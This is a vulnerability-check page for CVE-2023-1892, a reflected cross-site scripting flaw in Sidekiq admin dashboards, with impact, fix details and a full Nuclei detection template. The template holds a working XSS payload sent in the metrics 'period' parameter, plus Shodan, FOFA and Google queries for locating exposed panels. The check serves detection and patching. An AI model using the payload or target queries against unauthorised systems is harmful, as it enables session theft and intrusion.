Sidekiq < 7.0.8 - Cross-Site Scripting

criticalseverity

9.6CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.

Impact

Unauthenticated attackers can inject malicious JavaScript through the period parameter in Sidekiq metrics endpoints, potentially stealing administrator session cookies and accessing sensitive job queue information and worker statistics.

Fix

Update Sidekiq to version 7.0.8 or later that properly sanitizes the period parameter and encodes output in the metrics dashboard.

How to confirm it

Send: GET {{BaseURL}}/queues
Positive when: contains "Sidekiq" and "Dashboard</a>"
Send: GET {{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E ; GET {{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E ; GET {{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E
Positive when: contains "<img/src/onerror=alert(document.domain)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-1892 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-1892

info:
  name: Sidekiq < 7.0.8 - Cross-Site Scripting
  author: ritikchaddha,princechaddha
  severity: critical
  description: |
    An XSS vulnerability on a Sidekiq admin panel can pose serious risks to the security and functionality of the system.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the period parameter in Sidekiq metrics endpoints, potentially stealing administrator session cookies and accessing sensitive job queue information and worker statistics.
  remediation: |
    Update Sidekiq to version 7.0.8 or later that properly sanitizes the period parameter and encodes output in the metrics dashboard.
  reference:
    - https://huntr.com/bounties/e35e5653-c429-4fb8-94a3-cbc123ae4777
    - https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1892
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-1892
    cwe-id: CWE-79
    epss-score: 0.02742
    epss-percentile: 0.86293
    cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
  metadata:
    max-request: 4
    vendor: contribsys
    product: sidekiq
    shodan-query: http.title:"sidekiq"
    fofa-query:
      - title="Sidekiq"
      - title="sidekiq"
    google-query: intitle:"sidekiq"
  tags: cve,cve2023,sidekiq,contribsys,xss,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/queues"

    matchers:
      - type: word
        internal: true
        part: body
        words:
          - "Sidekiq"
          - "Dashboard</a>"
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/metrics?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/SanityChecksJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"
      - "{{BaseURL}}/metrics/ActiveStorage::PurgeJob?period=%22%3E%3Cimg/src/onerror=alert(document.domain)%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img/src/onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from